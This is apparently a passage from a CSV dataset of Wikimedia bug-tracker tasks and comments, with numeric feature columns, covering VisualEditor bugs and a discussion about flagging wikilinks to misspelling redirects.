+**Severity**: normal",Low,25.0,1355347080,1366665489.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vus23yeu76aembddoyxe,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0
+203036,VisualEditor: Strange duplication of content after multiple save attempts,I believe that this is now fixed given the changes in Parsoid and in how VE talks to it; marking as such.,,,1366665489,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vus23yeu76aembddoyxe,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+45023,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active","When using the VisualEditor and having the Preference ""Edit pages on double click (requires JavaScript)"" on, the Editor is stopped as soon as one tries to select a word  (= double click)or paragraph (= triple click). The javascript for ""Edit pages on double click (requires JavaScript)"" needs to be modified to check whether in VisualEditor mode or not (all works ok when in normal editing mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1355333220,1361748640.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-3hi7my5pvgnqne4eigdb,task_description,resolved,True,c1,1,False,False,True,-29,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+201980,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active","This has been fixed by Ie8a35700bc9e in mediawiki core.
+
+In the current configuration however out tabLayout is in ""add"" more (when this bug was reported, we were still in ""replace"" mode).
+
+In ""add"" mode we add an extra tab for ""VisualEditor"", so the original ""Edit"" is still there, which is the default. And double-clicking in the content area will (as it should) trigger the original editor.
+
+If/when we enable the ""replace"" mode again, since this bug is fixed, double-clicking will trigger VisualEditor as expected.
+
+So, although it can't be seen right now, as the feature is not activated right now, this bug as been fixed.
+
+To verify, edit ve.init.mw.ViewPageTarget.js and set `this.tabLayout = ""replace"";`.",,,1361748640,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+201974,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active",Bumping; didn't make it to 2013-01-16.,,,1358461249,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+201967,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active",The surface should just bind a click handler and prevent the event from bubbling up to the handler that mediawiki.action.view.dblClickEdit attaches to $content.,,,1355375630,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+201959,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active","Immediate solution is to suppress the JS when VE is active, but not when in read mode.
+
+Longer-term, this should be refactored so that users have a ""default"" editor, and this kind of thing triggers whichever one you've chosen.",,,1355344807,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+45017,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""","When trying to use VisualEditor on the English Wikipedia at <https://en.wikipedia.org/wiki/James_Mackay,_Baron_Mackay_of_Clashfern>, I get the following error in my browser's console:
+
+---
+[11:35:31.120] TypeError: this.registry[name].static is undefined @ https://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Cjquery.multiSuggest%7Crangy&skin=monobook&version=20121212T032708Z&*:207
+---
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1355330220,1364318088.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zivm3qjikccdl4xebglv,task_description,declined,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,0,0,1
+201551,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""","Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue.",,,1364318088,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zivm3qjikccdl4xebglv,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+201542,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""",Max - any update on this? Can you reproduce when using debug=true (so we might have a hope of finding the underlying cause)?,,,1360206346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zivm3qjikccdl4xebglv,task_subcomment,,True,c1,1,True,,,-21,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+201533,"VisualEditor: Fix ""Uncaught TypeError: this.registry[name].static is undefined""","I can't reproduce this, can you still? Did you do anything special to make this happen?",,,1355341942,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zivm3qjikccdl4xebglv,task_subcomment,,True,c1,1,False,,,-29,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+45014,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","When I try to use VisualEditor with <https://en.wikipedia.org/wiki/User:Trevor_Parscal>, I get the following error in my browser console: Uncaught TypeError: Cannot read property 'typePattern' of undefined.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1355327040,1364318060.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_description,declined,True,c1,1,False,False,True,-29,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+201317,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","Cannot reproduce this without a deep stack trace; also, this is from three months ago, and we're unlikely to still have the same issue.",,,1364318060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+201312,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","Also, which browser, etc.? :-)",,,1355343913,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1
+201307,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'typePattern' of undefined""","Works for me; can you still reproduce this? Did you just load the editor, or did you do something to make this happen?",,,1355341841,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lin2kfpz66zdn3l3uhx2,task_subcomment,,True,c1,1,False,,,-29,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0
+44981,Enable Visual editor on test client,"Enable VisualEditor on test client and check if the two extensions do not interfere with each other.
+
+They should not interfere with each other except for the additional parser function(s) introduced by Wikibase client.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1355287440,1378480597.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,,False,PHID-TASK-ewbthsndzjv2jnkqp2ly,task_description,declined,True,c1,1,False,False,True,-29,,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+44980,Enable Visual editor on test repo,"Enable VisualEditor on test repo and check if the two extensions do not interfere with each other.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1355285580,1378480608.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,,False,PHID-TASK-dc5kyuqpkf3s6kddlzao,task_description,declined,True,c1,1,False,False,True,-29,,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+199187,Enable Visual editor on test repo,"Note that VisualEditor will attempt to add edit links in the caction for pages in main namespace, but with Wikibase using main namespace for items this will be conflicting.
+
+It is possible to enable VisualEditor for specific namespaces so a work around should be pretty simple.",,,1355285813,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-dc5kyuqpkf3s6kddlzao,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+44974,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""","Feedback is one-way, we don't need to read the reponse (and we can't, due to origin policy). So we should convert this into a regular POST without XHR so that it doesn't error.
+
+Apparently though the current method does work for one-way (the request isn't blocked in Chrome).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1355277780,1370629685.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_description,invalid,True,c1,1,True,False,True,-29,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+198897,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""","We're scrapping this feedback system, so marking as INVALID.",,,1370629685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+198890,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""","I'm watching this bug.  Parsoid does support CORS headers via a configuration in localsettings.js (although maybe not yet on this particular response), so if you do decide to fix this on the parsoid end let me know.",,,1366316690,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+198883,"VisualEditor: Avoid triggering ""XMLHttpRequest cannot load. Origin is not allowed by Access-Control-Allow-Origin.""",De-prioritising and pulling from target milestone.,,,1361816423,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tq6ygkwi32qnc2l6vv5h,task_subcomment,,True,c1,1,True,,,-18,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+44936,VisualEditor: Integration in production should not ignoreHidden on user preference,"In VisualEditor.hooks.php the function to evaluate whether or not to show the VisualEditor has ignoreHidden set true on the user preference check; this should be false in production.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Low,25.0,1355190000,1366929861.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ffowylul32ecwhb6soji,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+196729,VisualEditor: Integration in production should not ignoreHidden on user preference,Related URL: https://gerrit.wikimedia.org/r/61035 (Gerrit Change Idebb147ee03ad956cd0f3826c304db65eed1e34e),,,1366995915,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+196721,VisualEditor: Integration in production should not ignoreHidden on user preference,Fixed and being deployed today.,,,1366929861,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+196713,VisualEditor: Integration in production should not ignoreHidden on user preference,Related URL: https://gerrit.wikimedia.org/r/60911 (Gerrit Change Iec91b30422017ce9d71bc71b2cbeb71688e0d18f),,,1366920806,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+196703,VisualEditor: Integration in production should not ignoreHidden on user preference,Related URL: https://gerrit.wikimedia.org/r/60899 (Gerrit Change I0e55faca4eabe910d9b4d8ca8c6b4b0bd42e8539),,,1366916775,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ffowylul32ecwhb6soji,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44880,Redirects mask incorrect spellings (misspellings) in articles,"On a site such as the English Wikipedia, editors often create redirects for misspelled versions of page titles so that readers can have an easier time accessing the content they're after. For example, if a reader enters ""Barrack Obama"" or ""Dave Chapelle"" or ""Steve Carrell"" into the search bar, they'll be redirected automatically to ""Barack Obama"" or ""Dave Chappelle"" or ""Steve Carell"" (respectively) automatically. This is a good thing.
+
+However, these redirects can be problematic when editors insert this text into a page in the form of a link and don't get any feedback that the text they've entered is a misspelling (that it's likely wrong and not the text they intended to insert). In fact, the user gets the opposite feedback: they get feedback (a blue link) indicating that they've inserted an appropriate, working link.
+
+These misspelled redirects can be tagged with templates such as ""{{R from misspelling}}"" which generally automatically categorize them.
+
+I'm not sure what the appropriate behavior here is. I believe that continuing to allow users to insert links to misspelled words or phrases unknowingly is a bug and should be addressed somehow.
+
+There are a few options here, but I'm curious to read what others think about this. The goal here is to reduce the number of misspelled links that are added to a page by giving the user warning or notice that they've tried to insert a misspelled link (e.g., [[Hilary Clinton]] or [[Stephen Spielberg]]).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/Wikipedia:Database_reports/Linked_misspellings
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=13595",Low,25.0,1355001180,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-nnoorqwvduraaxjx3s3c,task_description,open,True,c1,0,False,False,,-30,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+193578,Redirects mask incorrect spellings (misspellings) in articles,"(In reply to John Broughton from comment #5)
+> (In reply to John Mark Vandenberg from comment #4)
+> 
+> I think we've wandered off topic, for which I'll take some responsibility.
+> The issue is NOT links to redirect pages, which (typically as hatnotes) can
+> be absolutely correct. Rather, the problem is wikilinks to redirect pages
+> **that are marked as being for misspellings**.
+
+Thanks for clarifying your solutions are for misspelling redirects only.
+
+What I was focusing on was the underlying problem that the software does not have a good way to determine which redirects are marked as misspellings?  And the concept of misspelling is IMO too complex to be built into the mediawiki layer.
+
+Surely not by looking for [[Template:R from misspelling]] or [[Category:Redirects from misspellings]] (as was done for disambiguation pages)
+
+__MISSPELLING__ ?  That would be equally odd.
+
+Bug 13595 is an interesting idea that records per-redirect custom messages to be used in one context (above target article), but the same approach may be used to provide custom messages to other contexts (such as in VE).
+
+Another approach may be to add misspellings to Wikidata, preferably as a misspellings attribute on the target Qs (similar to labels), rather than have redirects as distinct items in Wikidata (as was done for dab pages).",,,1399700412,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,3,False,,,44,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+193574,Redirects mask incorrect spellings (misspellings) in articles,"(In reply to John Mark Vandenberg from comment #4)
+
+I think we've wandered off topic, for which I'll take some responsibility. The issue is NOT links to redirect pages, which (typically as hatnotes) can be absolutely correct. Rather, the problem is wikilinks to redirect pages **that are marked as being for misspellings**. So, let me reword the four alternatives I gave, above, to (hopefully) make this clearer.
+
+In articlespace (only):
+
+1. The software adds an administrative category, ""Articles with wikilinks to redirect pages for misspellings"", when an article is saved that has one or more of these problematical links.
+
+2. Links to redirect pages for misspellings are shown in yellow, both when previewing an edit and after saving the page. (With VisualEditor, the yellow coloring would appear immediately after typing the wikilink, which is ideal.) However, the editor can save the page with the (problematical) wikilink still on it.
+
+3. The software issues a warning when an editor tries to save a page with a link to a redirect page used to fix a misspelling, but allows the editor to override this. (Misspelled wikilinks need to be highlighted, of course; the software could also make it easy to accept a spelling change, since the redirect page points to the correct spelling of the article being linked to)
+
+4. The software issues a warning when an editor tries to save a page with a link to a redirect page for a misspelling, and prevents the editor from overriding this. (Misspelled wikilinks need to be highlighted, of course.)
+
+** Addendum:** 
+
+I'll also note that since we're concerned with *what the reader sees*, we should ignore wikilinks where a pipe is used, since the software can't (easily) determine if what the reader sees is correct:  [[wikilink to redirect|possibly correctly spelled text]].",,,1399698286,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,3,False,,,44,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+193570,Redirects mask incorrect spellings (misspellings) in articles,"(In reply to John Broughton from comment #3)
+> Google translate didn't turn Comment 2 into anything meaningful for me, so
+> here are four alternative solutions, which could be implemented in the
+> software, one or more of which may already have been suggested above (in
+> Polish).
+> 
+> ...
+> 
+> Alternatives #1, #2, and #3 are compatible; all could be implemented
+> together. Alternative #4 is problematical in that an editor who is doing a
+> minor change might be blocked from saving that change even though he/she had
+> nothing to do with creating the wikilinks that go to redirects, and he/she
+> may not understand how to correct this. (Think of a relatively new editor,
+> or an IP editor.)
+> 
+> Implementing #1 would be invisible to the reader; #2 might cause a bit of
+> confusion.
+
+These solutions all presume that *every* link to a redirect is problematic.  If that is what the software presumes, it will cause more problems than it solves.  There are many instances where a link to a redirect page is appropriate.  If they are categorised into a maintenance category, some idiot will try to 'fix' them.  If it is more difficult to link to redirects using the VE UI, competent editors will complain bitterly.
+
+> *** Or someone could just create a bot that notifies editors that they've
+> made a mistake with their wikilink - as does DPL bot, for links to
+> disambiguation pages. ***
+
+This would be helpful, and the bot author could adapt the logic to understand when links to redirects are desirable.  For redirects categorised as spelling mistakes, a bot could also fix them automatically.",,,1399683919,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,3,False,,,44,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+193564,Redirects mask incorrect spellings (misspellings) in articles,"Google translate didn't turn Comment 2 into anything meaningful for me, so here are four alternative solutions, which could be implemented in the software, one or more of which may already have been suggested above (in Polish).
+
+In articlespace (only):
+
+1. The software adds an administrative category, ""Articles with wikilinks to redirect pages"", when an article is saved that has one or more problematical links.
+
+2. Links to redirect pages are shown in yellow, both when previewing an edit and after saving the page. (With VisualEditor, the yellow coloring would appear immediately after typing the wikilink, which is ideal.) However, the editor can save the page with the (problematical) wikilink still on it.
+
+3. The software issues a warning when an editor tries to save a page with a link to a redirect page, but allows the editor to override this. (Problem wikilinks need to be highlighted, of course.)
+
+4. The software issues a warning when an editor tries to save a page with a link to a redirect page, and prevents the editor from overriding this. (Problem wikilinks need to be highlighted, of course.)
+
+Alternatives #1, #2, and #3 are compatible; all could be implemented together. Alternative #4 is problematical in that an editor who is doing a minor change might be blocked from saving that change even though he/she had nothing to do with creating the wikilinks that go to redirects, and he/she may not understand how to correct this. (Think of a relatively new editor, or an IP editor.)
+
+Implementing #1 would be invisible to the reader; #2 might cause a bit of confusion.
+
+*** Or someone could just create a bot that notifies editors that they've made a mistake with their wikilink - as does DPL bot, for links to disambiguation pages. ***",,,1371419572,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-nnoorqwvduraaxjx3s3c,task_subcomment,,True,c1,2,False,,,-3,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
